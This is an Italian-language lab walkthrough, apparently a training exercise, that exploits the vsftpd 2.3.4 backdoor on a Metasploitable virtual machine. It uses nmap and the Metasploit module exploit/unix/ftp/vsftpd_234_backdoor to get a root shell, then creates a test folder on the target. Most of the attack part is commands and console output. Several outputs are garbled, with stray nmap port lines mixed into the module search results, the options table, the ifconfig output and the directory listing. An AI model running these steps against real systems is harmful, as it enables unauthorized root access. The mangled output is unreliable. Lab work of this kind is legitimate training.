

HACKING CON METASPLOIT

**Completare una sessione di hacking sulla macchina
Metasploitable, sul servizio «vsftpd»**

**Con il comando `sudo nano`
`/etc/network/interfaces`, andiamo a
configurare la macchina metasploitable
con l'indirizzo ip richiesto**

```
(kali@kali)-[~]
$ sudo nmap -p- -sV 192.168.1.149
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-20 12:39
Nmap scan report for 192.168.1.149
Host is up (0.00020s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    System open  ftp          vsftpd 2.3.4
```

**Andiamo ad effettuare una scansione
della macchina metasploitable,
utilizzando nmap sulla nostra
macchina kali**

HACKING CON METASPLOIT

```
(kali@kali)-[~]
└─$ msfconsole
Metasploit tip: Use the 'capture' plugin to start multiple
authentication-capturing and poisoning services
```

Avviamo metasploit con il comando **msfconsole**

Cerchiamo gli exploit presenti per vsftpd

```
msf6 > search vsftpd-rmi GNU Classpath gnuiregistry
1324/tcp open bindshell Metasploitable root shell
Matching Modules
=====
# Name open distccd distccd v1 (CGN Disclosure Date Rank 1000000 Check Description
- - - - -
0 auxiliary/dos/ftp/vsftpd_232_protocol 3 2011-02-03 normal Yes VSFTPD 2.3.2 Denial of Service
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Ex
666/tcp open irc UnrealIRCd
667/tcp open irc UnrealIRCd
Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
msf6 >
```

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor (col v1.3)
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

Con il comando use e il nome dell'exploit lo andiamo a selezionare

HACKING CON METASPLOIT

Dopo aver verificato il payload con **show payloads**, utilizzando **show options** per visionare la configurazione del nostro attacco e con il comando **set**, effettuiamo le modifiche. **RHOSTS** corrisponde all'indirizzo IP della macchina target. **RPORT** corrisponde alla porta sulla macchina target dove il servizio è in ascolto

Effettuiamo l'attacco con **exploit** e controlliamo se abbia avuto successo controllando che l'indirizzo ip della macchina, corrisponda con l'indirizzo target

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Host is up (0.00020s latency).
Module options (exploit/unix/ftp/vsftpd_234_backdoor):


| Name    | Current Setting | Required | Description                                                    |
|---------|-----------------|----------|----------------------------------------------------------------|
| CHOST   | open_telnet     | no       | The local client address                                       |
| CPORT   | open_smtp       | no       | The local client port                                          |
| Proxies | open_domain     | no       | A proxy chain of format type:host:port[,type:host:port][ ... ] |
| RHOSTS  | 192.168.1.149   | yes      | The target host(s), see https://docs.metasploit.com/docs/using |
| RPORT   | 21              | yes      | The target port (TCP)                                          |


```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
Host is up (0.00020s latency).
[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.telnet Linux telnetd
[*] Command shell session 1 opened (192.168.1.4:43333 -> 192.168.1.149:6200) at 2024-05-20 12:48:37 +0200
337/tcp open domain ISC BIND 9.4.2
ifconfig open http Apache httpd 2.2.8 (Ubuntu) DAV/2
eth0: Link encap:Ethernet HWaddr 08:00:27:5b:2b:5f
139/tcp inet addr:192.168.1.149 Bcast:192.168.1.255 Mask:255.255.255.0
445/tcp inet6 addr: fe80::a00:27ff:fe5b:2b5f/64 Scope:Link WORKGROUP
512/tcp UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
513/tcp RX packets:66609 errors:0 dropped:0 overruns:0 frame:0
514/tcp TX packets:66323 errors:0 dropped:0 overruns:0 carrier:0
1099/tcp collisions:0 txqueuelen:1000
1524/tcp RX bytes:4283359 (4.0 MB) TX bytes:3650554 (3.4 MB)
2049/tcp Base address:0xd020 Memory:f0200000-f0220000
```

HACKING CON METASPLOIT

```
ls/tcp      open  ftp      vsftpd 2.3.4
bintcp      open  ssh      OpenSSH 4.7p
bootcp      open  telnet   Linux telnet
cdromcp     open  smtp     Postfix smtp
devtcp      open  domain   ISC BIND 9.4
etctcp      open  http     Apache httpd
hometc      open  rpcbind  2 (RPC #1000
initrd      open  netbios-ssn Samba smbd 3
initrd.img  open  netbios-ssn Samba smbd 3
lib/tcp     open  exec?
lost+found  open  login    OpenBSD or S
mediacp     open  tcpwrapped
mnt9/tcp    open  java-rmi  GNU Classpat
nohup.out   open  bindshell Metasploitab
opt9/tcp    open  nfs       2-4 (RPC #10
proc/tcp    open  ftp       ProFTPD 1.3.
root/tcp    open  mysql     MySQL 5.0.51
sbin/tcp    open  distccd   distccd v1 (
srv2/tcp    open  postgresql PostgreSQL 8
sys9/tcp    open  vnc       VNC (protoc
tmp9/tcp    open  X11       (access den
usr7/tcp    open  irc       UnrealIRCd
var7/tcp    open  irc       UnrealIRCd
vmlinuz9   open  ajp13     Apache Jserv
mkdir /root/test_metasploit Apache Tomcat
```

Andiamo a creare una cartella di test nella directory root della macchina metasploitable, che come possiamo notare è visibile all'interno della macchina attaccata, all'dimostrandoci di essere effettivamente all'interno



metasploitable2 [In esecuzione] - Oracle VM VirtualBox

File Macchina Visualizza Inserimento Dispositivi Aiuto

```
msfadmin@metasploitable:~/root$ ls
Desktop  reset_logs.sh  test_metasploit  vnc.log
msfadmin@metasploitable:~/root$
```